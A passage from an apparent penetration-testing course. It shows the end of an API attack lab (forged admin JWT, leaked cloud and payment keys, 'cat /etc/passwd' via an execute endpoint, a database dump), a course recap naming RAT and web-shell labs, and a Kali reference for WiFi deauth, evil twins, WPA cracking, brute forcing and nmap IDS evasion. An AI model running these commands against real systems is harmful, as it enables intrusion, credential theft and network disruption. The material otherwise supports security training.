# With admin JWT token forged: # List all sensitive endpoints: curl -H "Authorization: Bearer ADMIN_TOKEN" \\ https://api.company.com/api/v1/admin/settings # Response: # { # "database_url": "postgresql://admin:SuperSecret123@db.company.internal:5432/production", # "aws_access_key": "AKIAIOSFODNN7EXAMPLE", # "aws_secret_key": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY", # "stripe_secret_key": "sk_live_51abc123...", # "admin_panel_url": "https://internal-admin.company.com" # } # Credentials extracted! # Access internal admin panel: curl -H "Authorization: Bearer ADMIN_TOKEN" \\ https://internal-admin.company.com # Execute commands via API: curl -X POST https://api.company.com/api/v1/admin/execute \\ -H "Authorization: Bearer ADMIN_TOKEN" \\ -H "Content-Type: application/json" \\ -d '{"command": "cat /etc/passwd"}' # RCE achieved! # Pivot to database: psql postgresql://admin:SuperSecret123@db.company.internal:5432/production # Dump all tables: pg_dump -h db.company.internal -U admin production > database_dump.sql # Complete compromise!

💡 Lab 12 Key Takeaways

API attack chain:
1. Discovery: Enumerate endpoints (gobuster, Burp Suite, Swagger docs)
2. Authentication: Test for weak JWT secrets, algorithm confusion, key confusion
3. Authorization: IDOR testing (access other users' data)
4. GraphQL: Introspection, batching attacks, injection
5. Rate limiting: Bypass with IP rotation, different formats, GraphQL batching
6. Escalation: Forge admin tokens, access sensitive endpoints, RCE

API-specific vulnerabilities:
• JWT attacks: alg:none, weak secrets, RS256→HS256 confusion
• IDOR: Insecure direct object references (enumerate IDs)
• GraphQL: Introspection, batching, nested queries (DoS)
• Mass assignment: Modify restricted fields (role, isAdmin)
• SSRF via API: webhook URLs, import/export features
• XXE in XML APIs: SOAP, XML-RPC endpoints

Tools:
• Burp Suite: Intercept and modify API requests
• jwt_tool: JWT manipulation and cracking
• Postman: API testing and automation
• GraphQL Voyager: Schema visualization
• Arjun: Find hidden API parameters
• Kiterunner: API endpoint discovery

Defense:
• Strong JWT secrets (256+ bits random)
• Validate algorithm (whitelist RS256, never accept none)
• Implement proper authorization checks (not just authentication)
• Disable GraphQL introspection in production
• Rate limiting on all endpoints
• Input validation and sanitization

APIs are the #1 target in modern web apps. Master this = high-paying bug bounties! 🌐🔑

🎉 You're a Practical Attack Master!

You've completed 11 comprehensive labs covering:

✅ Lab 1 - Web App Pentest: SQL injection → File upload → Privilege escalation → Root
✅ Lab 2 - Active Directory: AS-REP Roasting → BloodHound → Kerberoasting → Domain Admin → DCSync
✅ Lab 3 - Wireless: WEP cracking → WPA2 handshake → WPA3 Dragonblood
✅ Lab 4 - Mobile App: APK decompilation → Hardcoded secrets → IDOR API → Frida bypass → Certificate pinning
✅ Lab 5 - Forensics: Disk analysis → Timeline creation → Memory forensics → Data exfiltration tracking
✅ Lab 6 - Buffer Overflow: Binary analysis → GDB debugging → Shellcode injection → SUID root shell
✅ Lab 7 - Container Escape: Docker/Kubernetes enumeration → Privileged pod → Host access → Cluster takeover
✅ Lab 8 - RFID Cloning: Proxmark3 → HID Prox badges → Mifare Classic → Physical access
✅ Lab 9 - SQLi to System: Union-based extraction → File write → Web shell → Privilege escalation → Persistence
✅ Lab 10 - ADCS ESC1: Certificate template exploitation → PKINIT auth → Domain Admin → Golden Ticket
✅ Lab 11 - Python RAT: Socket programming → Keylogging → Screenshots → Persistence → AV evasion → C2 server

Key skills mastered:
• Enumeration: Finding attack surface from minimal information
• Tool chaining: Combining nmap + gobuster + SQLmap + shell
• Lateral movement: Using BloodHound paths to compromise targets
• Credential attacks: AS-REP/Kerberoasting, hash cracking, Pass-the-Hash
• Privilege escalation: SUID binaries, misconfigurations, Windows tokens, kernel exploits
• Wireless attacks: Understanding WEP/WPA/WPA3 differences
• Binary exploitation: Buffer overflows, shellcode, memory corruption
• Cloud security: Container escape, Kubernetes API exploitation
• Physical security: RFID cloning, badge duplication
• Advanced AD: ADCS vulnerabilities, certificate authentication, DCSync
• Malware development: RATs, keyloggers, persistence, evasion

What's next?
• Practice on: HackTheBox, TryHackMe, PentesterLab, PortSwigger Academy
• Get certified: OSCP, PNPT, eCPPT, CRTO, CRTP, OSEP
• Build labs: VulnHub VMs, Active Directory home lab, Docker environments
• Read writeups: 0xdf.gitlab.io, ippsec.rocks, HackTricks
• Join community: Discord servers, Twitter #infosec, Reddit r/netsec, r/AskNetSec
• Bug bounties: HackerOne, Bugcrowd, Intigriti
• CTF teams: Join local CTF team, compete in DEF CON CTF qualifiers

You now understand complete attack chains. Every pentest follows similar patterns - adapt these workflows to new targets! 🚀🔥

Section 12: Ultimate Kali Tools Reference (Every Flag Explained for BEGINNERS)

💡 What is this section?

The MOST comprehensive beginner-friendly Kali tools reference ever created!

This section documents 100+ penetration testing tools with:
• Complete command syntax with EVERY flag explained
• Beginner-friendly descriptions of what each flag does and WHY you'd use it
• Real-world examples from actual penetration tests
• Common pitfalls and how to avoid them
• Tool combinations for chaining attacks

For complete beginners: A "flag" is an option you add to a command to change how it works. Example: nmap -sS -p 22,80,443 10.10.10.1
• -sS is a flag (means "SYN scan")
• -p 22,80,443 is a flag with value (means "scan these specific ports")
• 10.10.10.1 is the target IP address

This section explains EVERY flag so you're never confused! Ready to become a Kali Linux expert? Let's go! 🚀

A-Tools: Essential Tools Starting with A

Aircrack-ng Suite (Wireless Network Auditing)

What is it? Complete suite for wireless security testing. Includes tools for packet capture, WEP/WPA/WPA2 cracking, fake access point creation, and deauthentication attacks.

airmon-ng: Monitor Mode Management
# Check wireless interfaces: airmon-ng # Shows all wireless adapters # Output: Interface (wlan0), Driver (rtl8xxxu), Chipset (Realtek) # Start monitor mode: airmon-ng start wlan0 # Creates wlan0mon interface in monitor mode # Monitor mode = capture ALL wireless packets (not just your network) # Normal mode = only packets destined for your device # Check for interfering processes: airmon-ng check # Lists processes that might interfere (NetworkManager, wpa_supplicant) # Kill interfering processes: airmon-ng check kill # Stops NetworkManager and other processes # WARNING: This disconnects you from WiFi! # Stop monitor mode: airmon-ng stop wlan0mon # Returns to normal managed mode # BEGINNER EXPLANATION: # "Monitor mode" = your WiFi card listens to ALL wireless traffic # Like putting your WiFi card in "promiscuous mode" # Needed for: packet sniffing, deauth attacks, cracking WiFi
airodump-ng: Wireless Packet Capture
# Scan all nearby WiFi networks: airodump-ng wlan0mon # Shows: BSSID (MAC address), PWR (signal strength), CH (channel), ENC (encryption) # Press Ctrl+C to stop # FLAGS EXPLAINED FOR BEGINNERS: # --bssid AA:BB:CC:DD:EE:FF ← Target specific access point (by MAC address) # --channel 6 ← Only listen on channel 6 (faster, less noise) # --write capture ← Save packets to file "capture-01.cap" # --essid "MyWiFi" ← Filter by network name # --manufacturer ← Show device manufacturer # -w capture ← Short form of --write # Target specific network and capture handshake: airodump-ng --bssid 00:11:22:33:44:55 --channel 6 --write wpa_handshake wlan0mon # --bssid: MAC address of router (from initial scan) # --channel: Wireless channel (1-14 on 2.4GHz, 36-165 on 5GHz) # --write: Output filename (creates wpa_handshake-01.cap, wpa_handshake-01.csv, etc.) # wlan0mon: Your monitor mode interface # What's a "handshake"? # When device connects to WiFi, router and device exchange 4-way handshake # Contains encrypted password verification # We capture this, then crack it offline with aircrack-ng # Output columns explained: # BSSID: Router MAC address (unique identifier) # PWR: Signal power in dBm (-30 = excellent, -80 = weak) # RXQ: Receive quality percentage # Beacons: Announcement packets sent by router # #Data: Number of captured data packets (MORE = BETTER for cracking!) # CH: Wireless channel # MB: Maximum speed (54 = 802.11g, 300 = 802.11n) # ENC: Encryption type (WEP, WPA, WPA2, WPA3, OPN = open) # CIPHER: Encryption cipher (TKIP, CCMP, GCMP) # AUTH: Authentication method (PSK = pre-shared key, MGT = enterprise) # ESSID: Network name # Advanced: Capture on multiple channels airodump-ng --channel 1,6,11 -w capture wlan0mon # Hops between channels 1, 6, and 11 (most common 2.4GHz channels)
aireplay-ng: Injection and Deauthentication
# Deauthentication attack (kick client off WiFi): aireplay-ng --deauth 10 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon # FLAGS EXPLAINED FOR COMPLETE BEGINNERS: # --deauth 10 ← Send 10 deauth packets (0 = infinite) # -a 00:11:22:33:44:55 ← Access Point MAC (router BSSID) # -c AA:BB:CC:DD:EE:FF ← Client MAC (device to kick off) # wlan0mon ← Your monitor mode interface # WHY use deauth? # 1. Capture WPA handshake (client reconnects = handshake captured) # 2. Denial of service (keep kicking devices off WiFi) # 3. Force clients to connect to YOUR fake AP (evil twin attack) # Deauth ALL clients on network: aireplay-ng --deauth 0 -a 00:11:22:33:44:55 wlan0mon # No -c flag = kick EVERYONE # Fake authentication (for WEP): aireplay-ng --fakeauth 0 -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon # --fakeauth 0 ← Fake authentication attempt (0 = once) # -a: Target AP # -h: Your MAC address (from wlan0mon) # ARP replay attack (generate traffic for WEP cracking): aireplay-ng --arpreplay -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon # --arpreplay ← Capture ARP packet and replay it # Generates LOTS of data packets (needed for WEP cracking!) # WEP needs 40,000+ packets to crack # Check injection capability: aireplay-ng --test wlan0mon # Tests if your card can inject packets # Must see "Injection is working!" for attacks to work
aircrack-ng: Password Cracking
# Crack WPA/WPA2 handshake: aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 00:11:22:33:44:55 wpa_handshake-01.cap # FLAGS EXPLAINED FOR BEGINNERS: # -w /path/to/wordlist.txt ← Wordlist file (dictionary attack) # -b 00:11:22:33:44:55 ← Target BSSID (router MAC) # wpa_handshake-01.cap ← Capture file from airodump-ng # How it works: # 1. Reads password from wordlist # 2. Derives encryption key (PBKDF2 with SSID as salt) # 3. Tries to decrypt handshake # 4. If successful = password found! # Output when found: # KEY FOUND! [ Password123 ] # Master Key: AA BB CC DD ... # Transient Key: 11 22 33 44 ... # Crack WEP: aircrack-ng -b 00:11:22:33:44:55 wep_capture-01.cap # No wordlist needed! WEP is mathematically broken # Needs 40,000+ packets (more = faster crack) # Advanced: Use multiple CPU cores aircrack-ng -w wordlist.txt -b 00:11:22:33:44:55 capture.cap -p 4 # -p 4 ← Use 4 CPU cores (parallel processing) # Advanced: Specify encryption type aircrack-ng -w wordlist.txt -b 00:11:22:33:44:55 -a 2 capture.cap # -a 2 ← WPA/WPA2 mode # -a 1 ← WEP mode # Show verbose output: aircrack-ng -w wordlist.txt -b 00:11:22:33:44:55 capture.cap -l output.txt # -l output.txt ← Save cracked key to file # BEGINNER TIP: # WPA/WPA2 cracking is SLOW (hundreds of keys per second) # Use GPU cracking (hashcat) for faster results (millions/sec!) # See: hashcat -m 22000 -a 0 handshake.hc22000 wordlist.txt
airbase-ng: Create Fake Access Point (Evil Twin)
# Create fake WiFi network: airbase-ng -e "FreePublicWiFi" -c 6 wlan0mon # FLAGS EXPLAINED: # -e "FreePublicWiFi" ← ESSID (network name) # -c 6 ← Channel (match target network channel) # wlan0mon ← Monitor mode interface # WHY create fake AP? # 1. Evil twin attack (clone legitimate network, steal credentials) # 2. Captive portal (phishing page on fake WiFi) # 3. MITM attack (route traffic through your system) # Clone existing network (Evil Twin): airbase-ng -a 00:11:22:33:44:55 -e "Starbucks_WiFi" -c 6 wlan0mon # -a 00:11:22:33:44:55 ← Spoof MAC address (match real AP) # Clients might auto-connect thinking it's real network! # WPA2 fake AP: airbase-ng -e "MyWiFi" -c 6 -Z 4 wlan0mon # -Z 4 ← WPA2 encryption (requires hostapd for full functionality) # Advanced: Respond to probes airbase-ng -P -C 30 wlan0mon # -P ← Respond to all probe requests # -C 30 ← Beacon interval (seconds) # Creates AP for ANY network clients search for!

💡 Aircrack-ng Suite Summary

Complete WiFi hacking workflow:
1. airmon-ng start wlan0 → Enable monitor mode
2. airodump-ng wlan0mon → Find target network
3. airodump-ng --bssid XX:XX... -c 6 -w capture wlan0mon → Capture handshake
4. aireplay-ng --deauth 10 -a XX:XX... wlan0mon → Force reconnection (capture handshake)
5. aircrack-ng -w rockyou.txt capture-01.cap → Crack password

Key concepts:
• Monitor mode: Listen to ALL wireless packets (not just yours)
• Handshake: Authentication exchange containing encrypted password proof
• Deauth: Kick device off WiFi (forces reconnection = new handshake)
• BSSID: Router MAC address (unique identifier)
• ESSID: Network name (e.g., "MyWiFi")
• Channel: Wireless frequency (1-14 on 2.4GHz, 36-165 on 5GHz)

Legal warning: Only test networks you own or have written permission! Unauthorized WiFi hacking is illegal! 📡🔐

Amass (Advanced Subdomain Enumeration)

What is it? OWASP Amass is the BEST subdomain discovery tool. Uses DNS brute-forcing, web scraping, certificate transparency logs, APIs (80+ data sources!), and recursive enumeration. Essential for reconnaissance phase!

# Basic subdomain enumeration: amass enum -d example.com # FLAGS EXPLAINED FOR BEGINNERS: # enum ← Enumeration mode (find subdomains) # -d example.com ← Target domain # What does it find? # - www.example.com # - mail.example.com # - dev.example.com # - admin.example.com # - test.example.com # ... and MORE! # Passive mode (only open-source intelligence, no DNS queries): amass enum -passive -d example.com # -passive ← No active scanning (stealthy!) # Uses: Certificate Transparency, web scraping, APIs # Won't show up in target's DNS logs! # Active mode (includes brute-forcing): amass enum -active -d example.com # -active ← Active DNS enumeration + port scanning # Sends DNS queries directly to target # LOUDER (target might notice!) # Use all data sources: amass enum -d example.com -src # -src ← Show data source for each subdomain # Example output: # [CertSpotter] → dev.example.com # [VirusTotal] → admin.example.com # Brute-force with wordlist: amass enum -d example.com -brute -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt # -brute ← Enable brute-forcing # -w /path/to/wordlist ← Custom wordlist # Tries: admin.example.com, test.example.com, dev.example.com, etc. # Resolve IP addresses: amass enum -d example.com -ip # -ip ← Show IP addresses for subdomains # Output: dev.example.com [192.168.1.100] # Save output to file: amass enum -d example.com -o subdomains.txt # -o subdomains.txt ← Output file # JSON output (for parsing): amass enum -d example.com -json subdomains.json # -json ← JSON format output # Increase timeout: amass enum -d example.com -timeout 5 # -timeout 5 ← DNS timeout in minutes (default: 3) # Higher timeout = more complete results # Maximum DNS queries per second: amass enum -d example.com -max-dns-queries 200 # -max-dns-queries 200 ← Rate limiting # Lower = stealthier, Higher = faster # Use specific DNS resolvers: amass enum -d example.com -r 8.8.8.8,1.1.1.1 # -r 8.8.8.8,1.1.1.1 ← Custom DNS servers # Bypass corporate DNS filtering! # Multiple domains: amass enum -df domains.txt # -df domains.txt ← File with list of domains # Enumerate all at once! # ADVANCED: Full reconnaissance with ASN tracking amass intel -d example.com # intel ← Intelligence gathering mode # Finds: Related domains, ASNs, IP ranges, WHOIS data # ADVANCED: Network mapping amass enum -d example.com -nf network.txt -rf resolved.txt # -nf network.txt ← Network data output # -rf resolved.txt ← Resolved domains output

💡 Amass Key Takeaways

When to use Amass:
• Reconnaissance phase (find ALL subdomains)
• Bug bounty hunting (find forgotten/dev subdomains)
• Red team engagements (expand attack surface)
• Security audits (find shadow IT)

Data sources (80+):
• DNS: Brute-forcing, zone transfers, AXFR
• Certificate Transparency: crt.sh, Censys, CertSpotter
• Web scraping: Search engines, archives
• APIs: VirusTotal, AlienVault, SecurityTrails, Shodan
• Reverse DNS: PTR records
• Web archives: Wayback Machine

Passive vs Active:
• Passive: OSINT only (stealthy, won't alert target)
• Active: DNS queries + port scanning (thorough but noisy)

Pro tip: Always start with passive mode, then active if needed! 🔍

Nmap (Network Mapper - THE Ultimate Port Scanner)

What is it? Nmap is THE standard network scanning tool. It discovers hosts, open ports, services, operating systems, and vulnerabilities. Every penetration tester uses Nmap daily! Massively powerful with 100+ options.

Basic Scanning - Understanding the Fundamentals
# Simplest scan (TCP SYN scan on 1000 most common ports): nmap 192.168.1.1 # FLAGS EXPLAINED FOR COMPLETE BEGINNERS: # No flags = default behavior: # - TCP SYN scan (-sS) on 1000 common ports # - Reverse DNS resolution # - No OS/version detection # Output shows: # PORT STATE SERVICE # 22/tcp open ssh # 80/tcp open http # 443/tcp open https # Scan multiple targets: nmap 192.168.1.1 192.168.1.2 192.168.1.3 nmap 192.168.1.1-10 # Range: .1 through .10 nmap 192.168.1.0/24 # Entire subnet (256 hosts) nmap 192.168.1.* 192.168.2.* # Wildcard # Scan from file: nmap -iL targets.txt # -iL targets.txt ← Input list (one IP/hostname per line) # Exclude targets: nmap 192.168.1.0/24 --exclude 192.168.1.1,192.168.1.254 # --exclude ← Skip these hosts (router, critical servers)
Scan Types - How Nmap Probes Ports
# TCP SYN Scan (stealth scan, default with root): nmap -sS 192.168.1.1 # -sS ← SYN scan (half-open scan) # How it works: # 1. Send SYN packet # 2. If SYN/ACK received → port OPEN # 3. If RST received → port CLOSED # 4. If no response → port FILTERED # Doesn't complete TCP handshake = "stealth" # Requires root/admin privileges # Fast and efficient! # TCP Connect Scan (full 3-way handshake): nmap -sT 192.168.1.1 # -sT ← TCP connect scan # How it works: # 1. Complete full TCP 3-way handshake # 2. OS establishes full connection # Used when: No root privileges OR raw packet access unavailable # Slower than SYN scan # Shows in target's connection logs! # UDP Scan: nmap -sU 192.168.1.1 # -sU ← UDP scan # Finds: DNS (53), SNMP (161), DHCP (67/68), NTP (123) # SLOW! (timeouts for closed ports) # Combine with TCP: nmap -sS -sU 192.168.1.1 # NULL/FIN/Xmas Scans (evade simple firewalls): nmap -sN 192.168.1.1 # NULL scan (no flags set) nmap -sF 192.168.1.1 # FIN scan (FIN flag set) nmap -sX 192.168.1.1 # Xmas scan (FIN, PSH, URG flags set) # How they work: # - Send packet with unusual flags # - Closed port responds with RST # - Open port does NOT respond (stealthy!) # Evades: Stateless firewalls # Doesn't work: Windows (responds to all packets) # ACK Scan (firewall rule mapping): nmap -sA 192.168.1.1 # -sA ← ACK scan # Purpose: Map firewall rules (not find open ports!) # Response: # - RST = port UNFILTERED (firewall allows) # - No response = port FILTERED (firewall blocks) # Useful for: Understanding firewall behavior # Window Scan (distinguish open from closed): nmap -sW 192.168.1.1 # -sW ← Window scan # Examines TCP window size in RST packet # Some systems: Different window for open vs closed # SCTP INIT Scan (for SCTP services): nmap -sY 192.168.1.1 # -sY ← SCTP INIT scan # For: Stream Control Transmission Protocol (VoIP, SS7)
Port Specification - Choose What to Scan
# Scan specific ports: nmap -p 22 192.168.1.1 # Single port (SSH) nmap -p 22,80,443 192.168.1.1 # Multiple ports nmap -p 1-1000 192.168.1.1 # Port range nmap -p- 192.168.1.1 # ALL 65535 ports (SLOW!) # FLAGS EXPLAINED: # -p ← Port specification # Default: Scans 1000 most common ports # -p- = scan ALL ports (1-65535) # Scan by protocol: nmap -p U:53,T:21-25,80 192.168.1.1 # U:53 ← UDP port 53 (DNS) # T:21-25 ← TCP ports 21-25 (FTP, SSH, Telnet, SMTP) # T:80 ← TCP port 80 (HTTP) # Fast scan (100 most common ports): nmap -F 192.168.1.1 # -F ← Fast mode # Scans only 100 ports (vs default 1000) # Much faster! # Top ports: nmap --top-ports 20 192.168.1.1 # --top-ports 20 ← Scan 20 most common ports # Useful for: Quick reconnaissance # Scan ports by name: nmap -p http,https,ssh 192.168.1.1 # Scans ports: 80, 443, 22 # Consecutive ports: nmap -p 1-100,443,8000-9000 192.168.1.1 # Scans: 1-100, 443, 8000-9000 # Exclude ports: nmap -p 1-1000 --exclude-ports 135,139,445 192.168.1.1 # --exclude-ports ← Skip these ports
Service/Version Detection - Identify Running Services
# Version detection: nmap -sV 192.168.1.1 # -sV ← Service/version detection # Probes open ports to determine: # - Service name (SSH, HTTP, MySQL) # - Version (OpenSSH 8.2p1, Apache 2.4.41) # - Extra info (OS, device type) # Example output: # PORT STATE SERVICE VERSION # 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) # 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) # Version intensity: nmap -sV --version-intensity 0 192.168.1.1 # Light probing (fast, less accurate) nmap -sV --version-intensity 5 192.168.1.1 # Normal (default) nmap -sV --version-intensity 9 192.168.1.1 # Aggressive (slow, most accurate) # --version-intensity <0-9> # 0 = Light (try 2 probes) # 5 = Default # 9 = Try ALL probes (slow but thorough!) # Light version scan: nmap -sV --version-light 192.168.1.1 # Equivalent to --version-intensity 2 # Aggressive version scan: nmap -sV --version-all 192.168.1.1 # Equivalent to --version-intensity 9 # Tries EVERY single probe (very slow!) # RPC services: nmap -sV --version-trace 192.168.1.1 # --version-trace ← Show detailed version detection process # For debugging when version detection fails
OS Detection - Identify Operating System
# OS detection: nmap -O 192.168.1.1 # -O ← Enable OS detection # Analyzes: TCP/IP stack fingerprints # Example output: # OS details: Linux 5.4 - 5.10 # Network Distance: 2 hops # Aggressive OS detection: nmap -O --osscan-guess 192.168.1.1 # --osscan-guess ← Make best guess when uncertain # Shows confidence percentage # OS detection only (skip port scan): nmap -O --osscan-limit 192.168.1.1 # --osscan-limit ← Only scan hosts with open+closed ports # Skips: Hosts with all filtered ports (faster) # Maximum OS detection retries: nmap -O --max-os-tries 1 192.168.1.1 # --max-os-tries 1 ← Try OS detection once (faster) # Default: 5 tries
Timing and Performance - Control Scan Speed
# Timing templates (simplest way to control speed): nmap -T0 192.168.1.1 # Paranoid (slowest, evade IDS) nmap -T1 192.168.1.1 # Sneaky nmap -T2 192.168.1.1 # Polite (less bandwidth) nmap -T3 192.168.1.1 # Normal (default) nmap -T4 192.168.1.1 # Aggressive (fast, assume reliable network) nmap -T5 192.168.1.1 # Insane (fastest, may sacrifice accuracy) # BEGINNER EXPLANATION: # -T<0-5> ← Timing template # T0-T1: VERY slow (IDS evasion, takes hours!) # T2: Polite (slow, 0.4s between probes) # T3: Default (good for most scans) # T4: Fast (assumes reliable network, 0.9ms between probes) # T5: Insane (may miss ports, only on fast networks!) # For CTFs/labs: Use -T4 # For real engagements: Use -T2 or -T3 (stealthier) # Fine-grained timing control: # Parallelism (simultaneous probes): nmap --min-parallelism 10 --max-parallelism 100 192.168.1.1 # --min-parallelism 10 ← Minimum 10 parallel probes # --max-parallelism 100 ← Maximum 100 parallel probes # Higher = faster but noisier # RTT timeout (round-trip time): nmap --min-rtt-timeout 100ms --max-rtt-timeout 300ms 192.168.1.1 # --min-rtt-timeout ← Minimum time to wait for response # --max-rtt-timeout ← Maximum time to wait # Lower = faster but may miss slow hosts # Host timeout: nmap --host-timeout 5m 192.168.1.1 # --host-timeout 5m ← Give up on host after 5 minutes # Prevents: One slow host holding up entire scan # Scan delay: nmap --scan-delay 1s 192.168.1.1 # --scan-delay 1s ← Wait 1 second between probes # Use for: IDS evasion, slow networks # Maximum retries: nmap --max-retries 1 192.168.1.1 # --max-retries 1 ← Retry closed/filtered ports once # Default: 10 retries # Lower = faster but less accurate
NSE Scripts - Nmap Scripting Engine (POWERFUL!)
# List all scripts: ls /usr/share/nmap/scripts/ # 600+ NSE scripts for everything! # View script help: nmap --script-help http-enum # Shows: What script does, categories, example usage # Script categories: # auth = Authentication testing # brute = Brute force attacks # default = Safe scripts (run with -sC) # discovery = Network discovery # dos = Denial of service # exploit = Exploit vulnerabilities # external = Query external services # fuzzer = Send unexpected input # intrusive = May crash target # malware = Malware detection # safe = Won't harm target # version = Version detection enhancement # vuln = Vulnerability detection # Run default scripts: nmap -sC 192.168.1.1 # -sC ← Run default NSE scripts # Same as: --script=default # Run specific script: nmap --script http-enum 192.168.1.1 # --script http-enum ← Web directory enumeration # Run multiple scripts: nmap --script http-enum,http-headers,http-methods 192.168.1.1 # Run all scripts in category: nmap --script vuln 192.168.1.1 # Runs ALL vulnerability detection scripts! # Wildcard: nmap --script "http-*" 192.168.1.1 # Runs all scripts starting with "http-" # Boolean logic: nmap --script "http-* and not http-brute" 192.168.1.1 # Runs all HTTP scripts EXCEPT http-brute # Script arguments: nmap --script http-enum --script-args http-enum.basepath=/admin/ 192.168.1.1 # --script-args ← Pass arguments to scripts # Update script database: sudo nmap --script-updatedb # Downloads latest NSE scripts
Essential NSE Scripts Every Pentester Uses
# === VULNERABILITY SCANNING === # Scan for common vulnerabilities: nmap --script vuln 192.168.1.1 # Checks for: CVEs, misconfigurations, known vulns # SMB vulnerabilities (EternalBlue, MS08-067): nmap --script smb-vuln-* 192.168.1.1 # Detects: MS17-010 (EternalBlue), MS08-067, MS06-025 # SSL/TLS vulnerabilities (Heartbleed, POODLE): nmap --script ssl-heartbleed,ssl-poodle,ssl-ccs-injection 192.168.1.1 # === WEB APPLICATION TESTING === # Enumerate web directories: nmap --script http-enum 192.168.1.1 # Finds: /admin, /backup, /test, /phpmyadmin # HTTP methods allowed: nmap --script http-methods 192.168.1.1 # Shows: GET, POST, PUT, DELETE (PUT/DELETE = potential vuln!) # HTTP headers: nmap --script http-headers 192.168.1.1 # Shows: Server, X-Powered-By, cookies # Detect WAF: nmap --script http-waf-detect 192.168.1.1 # WordPress/Joomla enumeration: nmap --script http-wordpress-enum 192.168.1.1 # === DATABASE TESTING === # MySQL info: nmap --script mysql-info 192.168.1.1 # MySQL empty password: nmap --script mysql-empty-password 192.168.1.1 # MS-SQL info: nmap --script ms-sql-info 192.168.1.1 # MongoDB info: nmap --script mongodb-info 192.168.1.1 # === SMB ENUMERATION === # SMB version: nmap --script smb-os-discovery 192.168.1.1 # Shows: OS, domain, hostname # SMB shares: nmap --script smb-enum-shares 192.168.1.1 # SMB users: nmap --script smb-enum-users 192.168.1.1 # SMB sessions: nmap --script smb-enum-sessions 192.168.1.1 # === DNS ENUMERATION === # DNS brute force: nmap --script dns-brute example.com # DNS zone transfer: nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=example.com 192.168.1.1 # === BRUTE FORCING === # SSH brute force: nmap --script ssh-brute --script-args userdb=users.txt,passdb=passwords.txt 192.168.1.1 # FTP brute force: nmap --script ftp-brute 192.168.1.1 # HTTP brute force: nmap --script http-brute --script-args http-brute.path=/admin/ 192.168.1.1 # === MISCELLANEOUS === # Check for default credentials: nmap --script auth 192.168.1.1 # Banner grabbing (detailed): nmap --script banner 192.168.1.1 # Traceroute with geolocation: nmap --script traceroute-geolocation 192.168.1.1 # Broadcast discovery: nmap --script broadcast-dhcp-discover # Malware detection: nmap --script malware 192.168.1.1
Firewall/IDS Evasion - Bypass Detection
# Fragment packets: nmap -f 192.168.1.1 # -f ← Fragment IP packets # Splits packets into tiny 8-byte fragments # May bypass: Simple packet filters # Custom MTU: nmap --mtu 16 192.168.1.1 # --mtu 16 ← Set Maximum Transmission Unit # Must be multiple of 8 # Smaller MTU = more fragments # Decoy scanning: nmap -D RND:10 192.168.1.1 # -D RND:10 ← Use 10 random decoy IPs # Target sees: Scans from YOUR IP + 10 fake IPs # Hides your IP in noise! # Specific decoys: nmap -D 192.168.1.100,192.168.1.200,ME 192.168.1.1 # ME = your real IP position in decoy list # Idle/Zombie scan (ULTIMATE stealth): nmap -sI zombie_host 192.168.1.1 # -sI zombie_host ← Use zombie host to scan # Zombie = host with predictable IP ID sequence # Target never sees YOUR IP! # Advanced technique, read: nmap.org/book/idlescan.html # Spoof source IP: nmap -S 192.168.1.254 192.168.1.1 # -S 192.168.1.254 ← Spoof source IP # Target thinks scan came from .254 # WARNING: You won't receive responses! # Spoof MAC address: nmap --spoof-mac 00:11:22:33:44:55 192.168.1.1 # --spoof-mac ← Change source MAC # Use 0 for random MAC # Randomize target order: nmap --randomize-hosts 192.168.1.0/24 # --randomize-hosts ← Scan hosts in random order # Harder to detect patterns # Use proxies: nmap --proxies socks4://proxy1:1080,http://proxy2:8080 192.168.1.1 # --proxies ← Chain through proxy servers # Bad checksum (test firewall): nmap --badsum 192.168.1.1 # --badsum ← Send packets with invalid checksum # Firewalls may forward without checking # Real OS will drop packets # Append random data: nmap --data-length 50 192.168.1.1 # --data-length 50 ← Add 50 random bytes to packets # Evade: Signature-based IDS
Output Options - Save Your Results
# Normal output (to terminal + file): nmap 192.168.1.1 -oN scan_results.txt # -oN ← Normal output (human-readable) # XML output (for parsing): nmap 192.168.1.1 -oX scan_results.xml # -oX ← XML output # Parse with: Python, Ruby, Go # Import into: Metasploit, other tools # Grepable output: nmap 192.168.1.1 -oG scan_results.gnmap # -oG ← Grepable format # Easy to grep: grep "open" scan_results.gnmap # All formats: nmap 192.168.1.1 -oA scan_results # -oA ← Output ALL formats # Creates: scan_results.nmap, scan_results.xml, scan_results.gnmap # Script kiddie output: nmap 192.168.1.1 -oS scan_results_l33t.txt # -oS ← Script kiddie format (leet speak!) # Just for fun 😄 # Append to file: nmap 192.168.1.1 -oN scan_results.txt --append-output # --append-output ← Don't overwrite, append # Verbose output: nmap -v 192.168.1.1 # -v ← Verbose (show progress) # -vv = Very verbose # -vvv = Even more verbose! # Debugging: nmap -d 192.168.1.1 # -d ← Debug mode # -dd = More debug info # Use when: Scan behaves unexpectedly # Show only open ports: nmap --open 192.168.1.1 # --open ← Only show open ports # Hides: Closed and filtered ports # Show reason port is open/closed: nmap --reason 192.168.1.1 # --reason ← Why Nmap marked port as open/closed # Example: "syn-ack" (SYN/ACK response received)
Advanced Host Discovery - Find Live Hosts
